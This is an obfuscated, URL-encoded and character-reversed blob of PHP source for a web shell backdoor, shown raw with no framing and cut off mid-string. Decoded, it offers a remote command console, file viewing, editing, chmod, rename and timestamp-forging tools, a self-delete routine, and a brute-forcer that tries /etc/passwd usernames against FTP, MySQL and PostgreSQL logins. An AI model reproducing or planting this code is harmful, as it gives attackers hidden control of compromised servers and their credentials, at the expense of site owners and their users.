P_%24%40%28fi%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%0D%0A%7B+%29+%29%5D0%5Benil%24+%2C%5D0%5Benil%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%40%28ecroFeturBosw+%28fi%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%0D%0A%3B%29enil%24+%2C%22%3A%22%28edolpxe+%3D+enil%24%09%09%09%09%09%0D%0A%7B+%29enil%24+sa+pmet%24%28hcaerof%09%09%09%09%0D%0A%29+%29pmet%24%28yarra_si+%28fi%09%09%09%0D%0A%3B%29%27dwssap%2Fcte%2F%27%28elif%40+%3D+pmet%24%09%09%09%0D%0A%7B+%291+%3D%3D+%5D%27epyt%27%5BTSOP_%24%28fi%09%09%0D%0A%3B%29%5D%27revres%27%5BTSOP_%24+%2C%22%3A%22%28edolpxe+%3D+revres%24%09%09%0D%0A%3B0+%3D+stpmetta%24%09%09%0D%0A%3B0+%3D+sseccus%24%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29ser%24%28esolc_gp%40%09%09%09%09%0D%0A%3B%29rts%24%28tcennoc_gp%40+%3D+ser%24%09%09%09%09%0D%0A%3B%22sergtsop%3Demanbd+%27%22.ssap%24.%22%27%3Ddrowssap+%27%22.nigol%24.%22%27%3Dresu+%27%22.trop%24.%22%27%3Dtrop+%27%22.pi%24.%22%27%3Dtsoh%22+%3D+rts%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27lqsgp%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29ser%24%28esolc_lqsym%40%09%09%09%09%0D%0A%3B%29ssap%24+%2Cnigol%24+%2C%296033%3Atrop%24%3Ftrop%24%28.%27%3A%27.pi%24%28tcennoc_lqsym%40+%3D+ser%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27lqsym%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29pf%24%28esolc_ptf%40%09%09%09%09%0D%0A%3B%29ssap%24+%2Cnigol%24+%2Cpf%24%28nigol_ptf%40+%3D+ser%24%09%09%09%09%0D%0A%3Beslaf+nruter+%29pf%24%21%28fi%09%09%09%09%0D%0A%3B%2912%3Atrop%24%3Ftrop%24+%2Cpi%24%28tcennoc_ptf%40+%3D+pf%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27ptf%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fi%09%09%0D%0A%3B%27%3Erb%3C%27.%29%5D%27revres%27%5BTSOP_%24%28srahclaicepslmth.%27+%3Enaps%2F%3C%3ArevreS%3Enaps%3C+%27.%29%5D%27otorp%27%5BTSOP_%24%28srahclaicepslmth.%27+%3Enaps%2F%3C%3AepyT%3Enaps%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CstluseR%3E1h%3C%27+ohce%09%09%0D%0A%7B+%29+%29%5D%27otorp%27%5BTSOP_%24%28tessi+%28fi%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28ecrofeturBnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%3Ea%2F%3CseY%3E%22%29%27%5Csey%27%5C%2Cllun%2Cllun%28g%22%3Dkcilcno+%23%3Dferh+a%3C%3Erb%3C%3Fllehs+eht+evomer+ot+tnaw+yllaeR%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CediciuS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw++++++++%0D%0A%29%27sey%27+%3D%21+%5D%271p%27%5BTSOP_%24%28fi++++%0D%0A%3B%27%21rorre+knilnu%27+ohce%09%09%09%0D%0Aesle%09%09%0D%0A%3B%29%27devomer+neeb+sah+llehS%27%28eid%09%09%09%0D%0A%29%29%29__ELIF__+%2C%27%27+%2C%27%21%2A.s%5C%29%5C%2Bd%5C%28%5C%21%27%28ecalper_gerp%28knilnu%40%28fi%09%09%0D%0A%29%27sey%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%0D%0A%0D%0A%7B+%29%28evomeRfleSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%27%21eyb%27%28eid%09%0D%0A%3B%290063+-+%29%28emit+%2C%27%27+%2C%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctes++++%0D%0A%7B+%29%28tuogoLnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%29%28sucof.dmc.fc.d%3Etpircs%3C%3Evid%2F%3C%3Emrof%2F%3C%27+ohce%09%0D%0A%3B%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22%3B%29tneve%28pk%22%3Dnwodyekno+%22%3B%25001%3Ahtdiw%3Bxp0%3Aredrob%22%3Delyts+dmc%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%24%3E%22%251%22%3Dhtdiw+dt%3C%3Ert%3C%3E%22%25001%22%3Dhtdiw+0%3Dgnicapsllec+0%3Dgniddapllec+%22%3Bxp0%3Apot-redrob%3B555%23%3Aroloc-dnuorgkcab%3B5fd%23+dilos+xp1%3Aredrob%22%3Delyts+elbat%3C%3Eaeratxet%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28xEosw.%22n%5C%22.%5D%271p%27%5BTSOP_%24.%22+%24%22%28srahclaicepslmth+ohce%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%27%3Eylnodaer+%22%3B0%3Anigram%3B0%3Amottob-redrob%22%3Delyts+tuptuo%3Deman+aeragib%3Dssalc+aeratxet%3C%3E%2Frb%3C%3Erbon%2F%3C%291%26%3E2%28+tuodts+ot+rredts+tcerider+%3E%27.%29%27%27%3A%27dekcehc%27%3F%5D%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%7C%7C%29%5D%272p%27%5BTSOP_%24%28ytpme%21%28.%27+1%3Deulav+srorre_wohs%3Deman+xobkcehc%3Depyt+tupni%3C+XAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C%3Erbon%3C+%3E%22%3E%3E%22%3Deulav+%22%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.fc.d%2Ceulav.saila.fc.d%2Cllun%2Cllun%28g%7Besle%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.fc.d%2Ceulav.saila.fc.d%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.fc.d%28fi%3B%29eulav.saila.fc.d%28dda%22%3Dkcilcno+nottub%3Depyt+tupni%3C%3Etceles%2F%3C%27+ohce%09%0D%0A%09%0D%0A%7D%09%0D%0A%3B%27%3Enoitpo%2F%3C%27.n%24.%27%3E%22%27.%29v%24%28srahclaicepslmth.%27%22%3Deulav+noitpo%3C%27+ohce%09%09%0D%0A%7D%09%09%0D%0A%3Beunitnoc%09%09%09%0D%0A%3B%27%3Epuorgtpo%2F%3C%3E%22-%27.%29n%24%28srahclaicepslmth.%27-%22%3Dlebal+puorgtpo%3C%27+ohce%09%09%09%0D%0A%7B+%29%27%27+%3D%3D+v%24%28fi%09%09%0D%0A%7B+%29v%24+%3E%3D+n%24+sa+%5D%27sesaila%27%5BSLABOLG%24%28hcaerof%09%0D%0A%3B%27%3Esaila%3Deman+tceles%3C%3E%22%3Beslaf+nruter+%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.siht%2Ceulav.dmc.siht%2Cllun%2Cllun%28g%7Besle%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.siht%2Ceulav.dmc.siht%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.siht%28fi%3B%29eulav.dmc.siht%28dda%7D%3Beslaf+nruter%3B%27%5C%27%5C%3Deulav.dmc.fc.d%3B%27%5C%27%5C%3Deulav.tuptuo.fc.d%7B%29%27%5Craelc%27%5C%3D%3Deulav.dmc.fc.d%28fi%22%3Dtimbusno+fc%3Deman+mrof%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CelosnoC%3E1h%3C%27+ohce%09%0D%0A%3B%22%3Etpircs%2F%3C%0D%0A%7D%0D%0A%3B1-htgnel.sdmc+%3D+ruc%09%0D%0A%3B%29%27%27%28hsup.sdmc%09%0D%0A%3B%29dmc%28hsup.sdmc%09%0D%0A%3B%29%28pop.sdmc%09%0D%0A%7B+%29dmc%28dda+noitcnuf%0D%0A%7D%0D%0A%7D%09%0D%0A%3B--ruc%09%09%09%0D%0Aesle%09%09%0D%0A%3B%5Druc%5Bsdmc+%3D+eulav.dmc.fc.tnemucod%09%09%09%0D%0A%29htgnel.sdmc+%3C+ruc%28fi%09%09%0D%0A%3B%2B%2Bruc%09%09%0D%0A%7B+%2904+%3D%3D+n%28fi+esle+%7D%09%0D%0A%3B%2B%2Bruc%09%09%09%0D%0Aesle%09%09%0D%0A%3B%5Druc%5Bsdmc+%3D+eulav.dmc.fc.tnemucod%09%09%09%0D%0A%290%3D%3Eruc%28fi%09%09%0D%0A%3B--ruc%09%09%0D%0A%7B+%2983+%3D%3D+n%28fi%09%0D%0A%3BedoCyek.e+%3A+hcihw.e+%3F+%29tnevE.wodniw%28+%3D+n+rav%09%0D%0A%7B+%29e%28pk+noitcnuf%0D%0A%3B0+%3D+ruc+rav%0D%0A%3B%29%27%27%28yarrA+wen+%3D+sdmc+rav%0D%0A%3B%29NWODYEK.tnevE%28stnevEerutpac.wodniw+%29tnevE.wodniw%28fi%0D%0A%3Etpircs%3C%22+ohce++++%0D%0A%3B%29%28redaeHosw%09%0D%0A%3B%290+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%26%26%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%29%28naelc_teg_bo+%3D+pmet%24%09%09%0D%0A%3B%22%3BthgieHllorcs.tuptuo.fc.d+%3D+poTllorcs.tuptuo.fc.d%22+ohce%09%09%0D%0A%3B%22%3B%27%22.pmet%24.%22%27%3D%2Beulav.tuptuo.fc.d%22+ohce%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%22%3B%27%22.%5D%27dwc%27%5BSLABOLG%24.%22%27%3D_c%22+ohce%09%09%09%09%0D%0A%3B%29%28dwcteg%40+%3D+%5D%27dwc%27%5BSLABOLG%24%09%09%09%09%0D%0A%7B+%29%29%5D1%5Bhctam%24%28ridhc%40%28fi%09%09%09%0D%0A%7B%09%29%29hctam%24%2C%5D%271p%27%5BTSOP_%24%2C%22%21%24%29%2B%5D%3B%5E%5B%28%2Bs%5Cdc%2A.%21%22%28hctam_gerp%28fi%09%09%0D%0A%3B%29%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22%2C%29%5D%271p%27%5BTSOP_%24%28xEosw.%22n%5C%22.%5D%271p%27%5BTSOP_%24.%22+%24n%5C%22%28sehsalscdda+%2C%278-FTU%27+%2C%5D%27tesrahc%27%5BTSOP_%24%28vnoci%40+%3D+pmet%24%09%09%0D%0A%3B%22n%5C%3B%27%27%3Deulav.dmc.fc.d%22+ohce%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%0D%0A%3B%290+%2C%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fiesle+%7D++++%0D%0A%3B%271%26%3E2+%27+%3D.+%5D%271p%27%5BTSOP_%24++++++++%0D%0A%3B%29eurt+%2C%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%7B+%29%29%5D%272p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi++++%0D%0A%7B+%29%28elosnoCnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%29%29%5D%271p%27%5BTSOP_%24%28emitmelif%40+%2C%22s%3Ai%3AH+d-m-Y%22%28etad.%27%22%3Deulav+hcuot%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.hcuot.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%27+ohce%09%09%09%0D%0A%3B%29%28ehcactatsraelc%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%21tamrof+emit+daB%27+ohce+esle+%7D%09%09%09%09%0D%0A%3B%27%21dehcuoT%27+ohce%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%27%21liaF%27+ohce%09%09%09%09%09%09%0D%0A%29%29emit%24%2Cemit%24%2C%5D%271p%27%5BTSOP_%24%28hcuot%21%28fi%09%09%09%09%09%0D%0A%7B+%29emit%24%28fi%09%09%09%09%0D%0A%3B%29%5D%273p%27%5BTSOP_%24%28emitotrts+%3D+emit%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27hcuot%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%29%5D%271p%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+eman%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.eman.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29%27%3Etpircs%2F%3C%29%22%22%2Cllun%2C%22%27.%29%5D%273p%27%5BTSOP_%24%28edocnelru.%27%22%2Cllun%2Cllun%28g%3Etpircs%3C%27%28eid%09%09%09%09%09%0D%0Aesle%09%09%09%09%0D%0A%3B%27%3Erb%3C%21emaner+t%27%5CnaC%27+ohce%09%09%09%09%09%0D%0A%29%29%5D%273p%27%5BTSOP_%24+%2C%5D%271p%27%5BTSOP_%24%28emaner%40%21%28fi%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27emaner%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3Eerp%2F%3C%27.%29%5D2%5Bh%24%28srahclaicepslmth.%27%3Eerp%3C%3E333333%23%3Drolocgb+dt%3C%3Edt%2F%3C%3Eerp%2F%3C%27.%5D1%5Bh%24.%27%3Eerp%3C%3E828282%23%3Drolocgb+dt%3C%3Edt%2F%3C%3Enaps%2F%3C%3Eerp%2F%3C%27.%5D0%5Bh%24.%27%3Eerp%3C%3E%22%3Blamron+%3Athgiew-tnof%22%3Delyts+naps%3C%3E333333%23%3Drolocgb+dt%3C%3Ert%3C%3E222222%23%3Drolocgb+5%3Dgniddapllec+1%3Dgnicapsllec+elbat%3C%27+ohce%09%09%09%0D%0A%7D%09+%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22n%5C%22+%3D.+%5D2%5Bh%24%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27+%3D.+%5D1%5Bh%24%09%09%09%09%09%0D%0A%7D%3B%27%3Erb%3C%27.%291%2Bi%24%2C%27X80%25%27%28ftnirps+%3D.+%5D0%5Bh%24%7B+%29nel%24+%3C+1%2Bi%24%28+fi%09%09%09%09%09%0D%0A%3B0+%3D+n%24%09%09%09%09%09%0D%0A%7B+%2923+%3D%3D+n%24%28+fi%09%09%09%09%0D%0A%3B%2B%2Bn%24%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3Bkaerb+%3B%5Di%24%5Bc%24+%3D.+%5D2%5Bh%24+%3Atluafed%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24+%3A31+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24+%3A01+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24++%3A9+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24++%3A0+esac%09%09%09%09%09%0D%0A%7B+%29+%29%5Di%24%5Bc%24%28dro+%28+hctiws%09%09%09%09%0D%0A%3B%27+%27.%29%29%5Di%24%5Bc%24%28dro%2C%27X20%25%27%28ftnirps+%3D.+%5D1%5Bh%24%09%09%09%09%0D%0A%7B+%29i%24%2B%2B+%3Bnel%24%3Ci%24+%3B0%3Di%24%28+rof%09%09%09%0D%0A%3B%29c%24%28nelrts+%3D+nel%24%09%09%09%0D%0A%3B%29%27%27%2C%27%27%2C%27%3Erb%3C00000000%27%28yarra+%3D+h%24%09%09%09%0D%0A%3B0+%3D+n%24%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28stnetnoc_teg_elif%40+%3D+c%24%09%09%09%0D%0A%3A%27pmudxeh%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Eaeratxet%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%294201+%2Cpf%24%28daerf%40%28srahclaicepslmth+ohce%09%09%09%09%09%0D%0A%29+%29pf%24%28foef%40%21+%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27r%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%3B%27%3Eaeragib%3Dssalc+txet%3Deman+aeratxet%3C%3E%22%3Beslaf+nruter%3B%29eulav.txet.siht%2B%27%5C1%27%5C%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29emit%24%2Cemit%24%2C%5D%271p%27%5BTSOP_%24%28hcuot%40%09%09%09%09%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%3Erb%3C%21devaS%27+ohce%09%09%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%09%0D%0A%3B%29%5D%273p%27%5BTSOP_%24%2Cpf%24%28etirwf%40%09%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%09%0D%0A%3B%29%22w%22%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%09%0D%0A%3B%291%2C%5D%273p%27%5BTSOP_%24%28rtsbus+%3D+%5D%273p%27%5BTSOP_%24%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28emitmelif%40+%3D+emit%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%27elbaetirw+t%27%5Cnsi+eliF%27+ohce%09%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28elbatirw_si%21+%28fi%09%09%09%0D%0A%3A%27tide%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%294-%2C%29%29%5D%271p%27%5BTSOP_%24%28smrepelif+%2C%27o%25%27%28ftnirps%28rtsbus.%27%22%3Deulav+domhc%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.domhc.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%27+ohce%09%09%09%0D%0A%3B%29%28ehcactatsraelc%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3Deulav.3p.fm.tnemucod%3Etpircs%3C%3Erb%3C%21snoissimrep+tes+t%27%5CnaC%27+ohce%09%09%09%09%09%0D%0A%29%29smrep%24+%2C%5D%271p%27%5BTSOP_%24%28domhc%40%21%28fi%09%09%09%09%0D%0A%3B%29%291-i%24-%29%5D%273p%27%5BTSOP_%24%28nelrts%28+%2C8%28wop%2A%5Di%24%5B%5D%273p%27%5BTSOP_%24%29tni%28+%3D%2B+smrep%24%09%09%09%09%09%0D%0A%29i%24--%3B0%3D%3Ei%24%3B1-%29%5D%273p%27%5BTSOP_%24%28nelrts%3Di%24%28rof%09%09%09%09%0D%0A%3B0+%3D+smrep%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27domhc%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Evid%2F%3C%27.%29edoc%24%2C%29%27%3Etnof%2F%3C%27%2C%27+tnof%3C%27%28yarra+%2C%29%27%3Enaps%2F%3C%27%2C%27+naps%3C%27%28yarra%28ecalper_rts+ohce%09%09%09%09%0D%0A%3B%29eurt%2C%5D%271p%27%5BTSOP_%24%28elif_thgilhgih%40+%3D+edoc%24%09%09%09%09%0D%0A%3B%27%3E%22%3Bkcalb%3Aroloc%3B1e1e1e%23+%3Aroloc-dnuorgkcab%22%3Delyts+1lm%3Dssalc+vid%3C%27+ohce%09%09%09%09%0D%0A%7B+%29+%29%5D%271p%27%5BTSOP_%24%28elbadaer_si%40+%28fi%09%09%09%0D%0A%3A%27thgilhgih%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Eerp%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%294201+%2Cpf%24%28daerf%40%28srahclaicepslmth+ohce%09%09%09%09%09%0D%0A%29+%29pf%24%28foef%40%21+%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27r%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%3B%27%3E1lm%3Dssalc+erp%3C%27+ohce%09%09%09%0D%0A%3A%27weiv%27+esac%09%09%0D%0A%7B+%29%5D%272p%27%5BTSOP_%24%28hctiws%09%0D%0A%3B%27%3Erb%3C%3Erb%3C%27+ohce%09%0D%0A%3B%27+%3Ea%2F%3C%27.%29v%24%3A%27%3Eb%2F%3C%5D+%27.v%24.%27+%5B%3Eb%3C%27%3F%29%5D%272p%27%5BTSOP_%24%40%3D%3D%29v%24%28rewolotrts%28%28.%27%3E%22%29%27%5C%27.%29v%24%28rewolotrts.%27%27%5C%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dkcilcno+%23%3Dferh+a%3C%27+ohce%09%09%0D%0A%29v%24+sa+m%24%28hcaerof%09%0D%0A%3B%29%27hcuoT%27+%2C%27emaneR%27+%2C%27domhC%27%28yarra+%3D+m%24%09%09%0D%0Aesle%09%0D%0A%3B%29%27hcuoT%27+%2C%27emaneR%27+%2C%27domhC%27+%2C%27tidE%27+%2C%27pmudxeH%27+%2C%27daolnwoD%27+%2C%27thgilhgiH%27+%2C%27weiV%27%28yarra+%3D+m%24%09%09%0D%0A%29+%29%5D%271p%27%5BTSOP_%24%28elif_si+%28fi%09%0D%0A%3B%27weiv%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%0D%0A%29+%29%5D%272p%27%5BTSOP_%24%28ytpme+%28fi%09%0D%0A%3B%27%3Erb%3C%3Erb%3C%27.%29%29%5D%271p%27%5BTSOP_%24%28emitmelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+yfidoM%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emitaelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+sseccA%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emitcelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+egnahC%3Enaps%3C%27+ohce%09%0D%0A%3B%27%3Erb%3C%27.%5D%27eman%27%5Bdig%24.%27%2F%27.%5D%27eman%27%5Bdiu%24.%27+%3Enaps%2F%3C%3ApuorG%2FrenwO%3Enaps%3C+%27.%29%5D%271p%27%5BTSOP_%24%28roloCsmrePosw.%27+%3Enaps%2F%3C%3AnoissimreP%3Enaps%3C+%27.%29%27-%27%3A%29%29%5D%271p%27%5BTSOP_%24%28eziselif%28eziSweiVosw%3F%29%5D%271p%27%5BTSOP_%24%28elif_si%28.%27+%3Enaps%2F%3C%3AeziS%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emanesab%40%28srahclaicepslmth.%27+%3Enaps%2F%3C%3AemaN%3Enaps%3C%27+ohce%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28puorgelif%40%28digrgteg_xisop%40+%3D+dig%24+esle+%7D%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28puorgelif%40+%3D+%5D%27eman%27%5Bdig%24%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28renwoelif%40+%3D+%5D%27eman%27%5Bdiu%24%09%09%0D%0A%7B+%29diu%24%21%28fi%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28renwoelif%40%28diuwpteg_xisop%40+%3D+diu%24%09%0D%0A%7D%09%0D%0A%3Bnruter%09%09%0D%0A%3B%29%28retooFosw%09%09%0D%0A%3B%27stsixe+ton+eliF%27+ohce%09%09%0D%0A%7B+%29+%29%5D%271p%27%5BTSOP_%24%40%28stsixe_elif%21+%28fi%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csloot+eliF%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%09%09%09%09%0D%0A%3B%22tide%22+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27w%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28stsixe_elif%21%28fi%09%09%0D%0A%7B+%29+%27elifkm%27+%3D%3D+%5D%272p%27%5BTSOP_%24%40+%28fi%09%0D%0A%7D%09%0D%0A%3Btixe%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%09%09%09%09%0D%0A%3B%294201+%2Cpf%24%28daerf%40+ohce%09%09%09%09%09%0D%0A%29%29pf%24%28foef%40%21%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%22r%22+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%